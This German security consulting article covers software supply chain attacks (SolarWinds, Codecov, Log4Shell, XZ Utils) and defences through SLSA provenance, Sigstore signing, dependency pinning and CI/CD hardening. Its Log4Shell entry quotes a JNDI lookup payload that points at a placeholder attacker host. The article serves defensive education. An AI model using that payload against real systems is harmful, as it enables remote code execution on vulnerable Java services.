Software Supply Chain Security: SLSA, Sigstore und Dependency Management
Software Supply Chain Security schützt den gesamten Softwareentwicklungsprozess vor Kompromittierung - von Quellcode-Repositories über Build-Systeme bis zu Paket-Registries. SLSA (Supply-chain Levels for Software Artifacts) definiert Sicherheitsstufen für Build-Prozesse. Sigstore ermöglicht transparentes Code-Signing. Dieser Artikel erklärt SolarWinds, XZ Utils und andere Supply-Chain-Angriffe sowie praktische Gegenmaßnahmen.
Inhaltsverzeichnis (5 Abschnitte)
Software Supply Chain Security ist nach SolarWinds (2020), Codecov (2021), Log4Shell (2021), Kaseya (2021) und XZ Utils (2024) zu einem zentralen Thema geworden. Angreifer kompromittieren nicht mehr das Zielunternehmen direkt - sie kompromittieren die Softwarelieferkette: Build-Systeme, Paket-Registries, Open-Source-Pakete, CI/CD-Pipelines. Das Ergebnis: eine einzige kompromittierte Bibliothek → tausende betroffene Unternehmen.
Bekannte Supply Chain Angriffe
SolarWinds (Dezember 2020):
Angriff: SolarWinds Orion Build-System kompromittiert
Methode: Malicious Code in SUNBURST-Update injiziert
Verbreitung: ~18.000 Unternehmen installierten das Update
Betroffene: US-Regierungsbehörden, Fortune-500-Unternehmen
Angreifer: APT29 (Cozy Bear, russischer SVR)
Lektion: Build-System-Sicherheit ist kritisch; signierte Updates allein reichen nicht
Codecov (April 2021):
Angriff: Codecov Bash Uploader Script (codecov.io) kompromittiert
Methode: Angreifer änderte Script um CI/CD-Umgebungsvariablen zu exfiltrieren
Auswirkung: Tausende CI/CD-Pipelines schickten ihre ENV VARS (API Keys, Tokens!)
Betroffene: Twilio, Atlassian, HashiCorp (CI/CD-Secrets kompromittiert)
Lektion: Externe Scripts nie ohne Hash-Verifikation nutzen!
Schutz: curl ... | sha256sum --check (immer Hash prüfen!)
Log4Shell / Log4j (Dezember 2021):
CVE: CVE-2021-44228 (CVSS 10.0)
Angriff: JNDI-Lookup-Feature in Log4j 2.x missbraucht
Methode: ${jndi:ldap://attacker.com/exploit} in gelegtem Log-Eintrag
Verbreitung: Fast jede Java-Applikation nutzt Log4j transitiv!
Lektion: Transitive Dependencies sind kritisch; SBOMs hätten geholfen
XZ Utils (März 2024):
CVE: CVE-2024-3094
Angriff: Langjährige Social-Engineering-Kampagne gegen xz-utils Maintainer
Methode: "Jia Tan" (Pseudonym) gewann 2 Jahre Vertrauen als Contributor
Injizierte dann Backdoor in Release-Tarball (nicht im Git-Repo!)
Betroffen: SSH-Server auf systemd-basierten Systemen (Backdoor in sshd)
Entdeckt: Durch performance-anomaly (250ms Login-Verzögerung)
Lektion: Open Source Maintainer brauchen Unterstützung; Release-Artefakte != Source
Code-Provenance kritisch (Artefakt vs. Source-Code)
Typosquatting (laufend):
Beispiele: "colourama" (statt "colorama"), "request" (statt "requests")
Methode: Identische Funktionalität + Malware
Erkennung: tools wie pip-audit, Safety CLI, Dependabot
SLSA - Supply-chain Levels for Software Artifacts
SLSA (salsa ausgesprochen) - Framework von Google/CNCF:
Ziel: Manipulationsschutz für Software-Artefakte durch Build-Provenance
SLSA Levels (v1.0):
SLSA Level 1 - Provenance vorhanden:
→ Build-System generiert Provenance (Metadaten über den Build)
→ Wer hat gebaut? Wann? Von welchem Quellcode? Mit welchen Parametern?
→ Format: SLSA Provenance attestation (JSON mit Signatur)
→ Schützt gegen: unbeabsichtigte Fehler, keine Angriffe
SLSA Level 2 - Build Service + signierte Provenance:
→ Gehosteter Build-Service (GitHub Actions, Cloud Build, GitLab CI)
→ Provenance vom Build-Service generiert und signiert
→ Quelle muss in Versionskontrolle sein
→ Schützt gegen: Einzelne kompromittierte Entwickler-Workstation
SLSA Level 3 - Gehärteter Build-Service:
→ Hardened Build: Build-Environment ephemer, auditierbar
→ Kein Einfluss von außen während Build
→ 2-Parteien-Genehmigung für Source-Änderungen
→ Schützt gegen: kompromittierte Build-Systeme (SolarWinds-ähnlich!)
SLSA Provenance - was es enthält:
{
"_type": "https://in-toto.io/Statement/v0.1",
"predicateType": "https://slsa.dev/provenance/v1",
"subject": [{
"name": "myapp:v1.2.3",
"digest": {"sha256": "abc123..."} # Hash des Artefakts
}],
"predicate": {
"buildDefinition": {
"buildType": "https://github.com/actions/build@v1",
"externalParameters": {
"ref": "refs/tags/v1.2.3",
"repository": "https://github.com/org/myapp"
}
},
"runDetails": {
"builder": {"id": "https://github.com/actions/runner"},
"buildMetadata": {
"invocationID": "https://github.com/org/myapp/actions/runs/12345"
}
}
}
}
GitHub Actions - SLSA Level 3 automatisch:
# SLSA Generator Action:
jobs:
build:
uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2
permissions:
actions: read
id-token: write
contents: write
with:
base64-subjects: "${{ needs.build.outputs.hashes }}"
# Generiert automatisch SLSA Level 3 Provenance + SBOM!
Verifikation (Consumer-Seite):
# slsa-verifier:
slsa-verifier verify-artifact myapp.tar.gz \
--provenance-path myapp.tar.gz.intoto.jsonl \
--source-uri "github.com/org/myapp" \
--source-tag "v1.2.3"
# Output: PASSED: Provenance is valid!
Sigstore - Transparentes Code-Signing
Sigstore - CNCF Projekt für Software-Signing ohne Schlüssel-Management:
Kernkomponenten:
Cosign: Container-Image Signierung
Fulcio: Certificate Authority (OIDC-basiert, kurzlebige Zertifikate)
Rekor: Transparency Log (unveränderliche Audit-Trail)
Gitsign: Git-Commit-Signierung
Cosign - Container-Image Signierung:
# Image signieren (keyless - kein eigenes Schlüsselpaar nötig!):
cosign sign ghcr.io/myorg/myapp:v1.2.3
# → Öffnet Browser für GitHub/Google/Microsoft OIDC-Login
# → Cosign erhält kurzlebiges Zertifikat von Fulcio (10 Minuten!)
# → Signatur + Zertifikat werden in Rekor (Transparency Log) gespeichert
# → Signatur an Image angehängt (OCI Registry)
# Verifikation:
cosign verify ghcr.io/myorg/myapp:v1.2.3 \
--certificate-identity="https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3" \
--certificate-oidc-issuer="https://token.actions.githubusercontent.com"
# → Prüft: Wurde das Image vom GitHub Actions Workflow von myorg/myapp signiert?
# Mit eigenen Schlüsseln (klassisch):
cosign generate-key-pair # Erstellt cosign.key + cosign.pub
cosign sign --key cosign.key ghcr.io/myorg/myapp:v1.2.3
cosign verify --key cosign.pub ghcr.io/myorg/myapp:v1.2.3
Rekor - Transparency Log:
# Alle Signaturen öffentlich einsehbar:
rekor-cli search --email "developer@firma.de"
rekor-cli get --uuid <uuid>
# → Unveränderlich: Signatur kann nicht nachträglich gelöscht werden!
# → Ähnlich Certificate Transparency Logs für TLS
# Wichtig: Keyless = E-Mail-Adresse im Log sichtbar!
# → Datenschutz: für private Releases eigene Schlüssel nutzen
Kubernetes Policy - nur signierte Images erlauben:
# Kyverno Policy:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-signed-images
spec:
validationFailureAction: Enforce
rules:
- name: check-image-signature
match:
resources:
kinds: [Pod]
verifyImages:
- imageReferences: ["ghcr.io/myorg/*"]
attestors:
- count: 1
entries:
- keyless:
subject: "https://github.com/myorg/myapp/.github/workflows/*"
issuer: "https://token.actions.githubusercontent.com"
# → Kein Pod startet wenn Image nicht von myorg GitHub Actions signiert!
Sigstore in Python (sigstore-python):
pip install sigstore
sigstore sign myapp.tar.gz # Signieren
sigstore verify myapp.tar.gz # Verifizieren
Dependency Security
Sichere Abhängigkeitsverwaltung:
Dependency Pinning (exakte Versionen):
# Python requirements.txt:
# SCHLECHT: kein Pinning
requests
flask
# GUT: exakte Version gepinnt
requests==2.31.0
flask==3.0.0
# BESSER: Hash-basiertes Pinning (Inhalt, nicht nur Version)
requests==2.31.0 \
--hash=sha256:58cd2187423839 \
--hash=sha256:a240be4fb75534e4 \
# pip install --require-hashes: erzwingt Hash-Prüfung!
# Node.js package-lock.json / pnpm-lock.yaml:
# Lock-Datei: exakte Versionen + Hashes für alle transitiven Abhängigkeiten
npm ci # Installiert aus Lock-Datei (kein Upgrade!)
pnpm install --frozen-lockfile # Fehler wenn Lock-Datei veraltet
# Go go.sum:
# Cryptographic checksums für alle Packages
go mod verify # Prüft alle Hashes gegen go.sum
Private Package Registry:
# Verhindern: Dependency Confusion Attacks
# Angreifer publiziert öffentliches Paket mit gleichem Namen wie internes!
# npm .npmrc:
@myorg:registry=https://nexus.intern.firma.de/repository/npm/
always-auth=true
# → @myorg Pakete immer vom internen Registry (nicht npmjs.com)!
# pip --index-url:
pip install --index-url https://nexus.intern/simple/ myinternal-pkg
# Oder: pip.conf
[global]
index-url = https://nexus.intern/simple/
extra-index-url = https://pypi.org/simple/ # Als Fallback
Dependency Review (GitHub):
# .github/workflows/dependency-review.yml
name: Dependency Review
on: [pull_request]
jobs:
review:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/dependency-review-action@v4
with:
fail-on-severity: high
# Blockt PR wenn High CVE in neuer Dependency!
Automatische Vulnerability Alerts:
Dependabot (GitHub): Automatische PRs für verwundbare Packages
Renovate (OSS): Intelligentere Upgrade-Strategie, gruppiert Updates
Snyk: Kommerziell, sehr gute Developer Experience
pip-audit: pip install pip-audit → pip-audit (lokal, kostenlos)
npm audit: npm audit fix → automatische Fixes
Typosquatting-Schutz:
# Vor Installation neuer Packages prüfen:
pip install pypi-simple # Listet alle ähnlichen Namen
# OSS: confusable-homoglyphs → findet visuell ähnliche Namen
# Policy: interne Packages immer mit @org-Namespace
# Review: alle neuen Packages manuell reviewen (Contributor-Check)
CI/CD Pipeline Hardening
CI/CD Security Best Practices:
Secrets Management:
# NIEMALS: Secrets in Code, Job-Logs, Artifacts
# IMMER: Secrets via Secret Store
# GitHub Actions Secrets:
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
run: aws deploy ...
# Principle of Least Privilege für Secrets:
→ Deployment-Secret: nur für main Branch + manuell getriggerte Workflows
→ OIDC statt long-lived Secrets (bevorzugt!):
# AWS OIDC statt Access Keys:
permissions:
id-token: write
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123:role/GitHubActions
aws-region: eu-central-1
# → Kein Access Key gespeichert! Token kurzlebig (15 Minuten)
Hermetic Builds:
→ Build-Umgebung vollständig deterministisch
→ Alle Dependencies gepinnt (exakte Versionen + Hashes)
→ Kein Internet-Zugriff während Build (Offline-Build!)
→ Reproducible Builds: gleicher Input → gleicher Output
Build Isolation:
# Jeder Build: frische, ephemere Umgebung
# NIEMALS: persistente Build-Worker (könnten kompromittiert sein)
# GitHub Actions: jeder Job: neuer Container
# Self-Hosted Runner: Ephemeral Runners nutzen (nicht persistent!)
Code Review Enforcement:
# Branch Protection Rules (GitHub):
Required approvals: 2 (4-Augen-Prinzip!)
Require status checks: CI muss grün sein
Restrict pushes: nur über PRs (kein direkter Push auf main)
Signed commits: required (GPG oder SSH Signierung)
# Git commit signing (Sigstore Gitsign):
git config --global commit.gpgsign true
git config --global gpg.format x509
git config --global gpg.x509.program gitsign
git config --global gitsign.connectorID https://oauth2.sigstore.dev/auth/github
Dependency Confusion Prevention:
# npm:
# package.json: private = true (internes Package nie veröffentlicht)
{ "name": "@myorg/internal-lib", "private": true }
# Scoped packages: @myorg/ → interner Registry configured
# .npmrc: @myorg:registry=https://intern-registry/
# Python: interner Paketname mit Firmenprefix
# Setup.py: packages = ["myorg_internal_lib"] → schwer zu squatten Fragen zu diesem Thema?
Unsere Experten beraten Sie kostenlos und unverbindlich.
Über den Autor
M.Sc. Internet-Sicherheit (if(is), Westfälische Hochschule). COO und Prokurist mit Expertise in Informationssicherheitsberatung und Security Awareness. Nachwuchsprofessor für Cyber Security an der FOM Hochschule, CISO-Referent bei der isits AG und Promovend am Graduierteninstitut NRW.
17 Publikationen
- Understanding the Privacy Implications of Browser Extensions (2025)
- Different Seas, Different Phishes — Large-Scale Analysis of Phishing Simulations Across Different Industries (2025)
- Security Awareness Trainings - A Scientometric Analysis (2024)
- Understanding Dark Patterns in Chatbots (2024)
- Exploring the Effects of Cybersecurity Awareness and Decision-Making Under Risk (2024)
- Analyzing Cybersecurity Risk with a Phishing Simulation Website (2024)
- The Elephant in the Background: A Quantitative Approach to Empower Users Against Web Browser Fingerprinting (2023)
- On the Similarity of Web Measurements Under Different Experimental Setups (2023)
- Building a Cybersecurity Awareness Program for SMEs (2022)
- Rethinking Cookie Banners: How to Comply with the GDPR and Still not Annoy Users (2022)
- An Empirical Analysis on the Use and Reporting of National Security Letters (2022)
- Comparing Approaches for Secure Communication in E-Mail-Based Business Processes (2022)
- Phish and Chips: Experiences from an Automated Phishing System (2022)
- Digital Risk Management (DRM) (2020)
- Social Media Scraper im Einsatz (2021)
- People, Processes, Technology — The Cybersecurity Triad (2023)
- New Work — Die Herausforderungen eines modernen ISMS (2024)